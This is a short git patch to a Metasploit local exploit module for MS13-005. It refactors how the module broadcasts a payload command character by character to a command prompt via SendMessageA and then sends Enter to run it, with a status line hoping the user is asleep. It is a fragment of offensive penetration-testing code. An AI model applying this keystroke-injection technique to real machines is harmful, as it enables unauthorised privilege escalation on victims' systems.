From a843722ae30f2c64240c7d4320461320a52da53f Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 5 Oct 2013 13:06:27 +0100 Subject: [PATCH] Concurrent printing of the output no longer makes sense... --- modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb index efb1a4629b..02afdb7800 100644 --- a/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb +++ b/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb @@ -214,16 +214,12 @@ class Metasploit3 < Msf::Exploit::Local print_status("Broadcasting payload command to prompt... I hope the user is asleep!") multi_rail = [] command.each_char do |c| - print c if command.length < 200 multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0]] - #client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0) end - client.railgun.multi(multi_rail) - - print_line + multi_rail << ['user32', 'SendMessageA', ['HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0]] print_status("Executing command...") - client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0) + client.railgun.multi(multi_rail) end def on_request_uri(cli, request)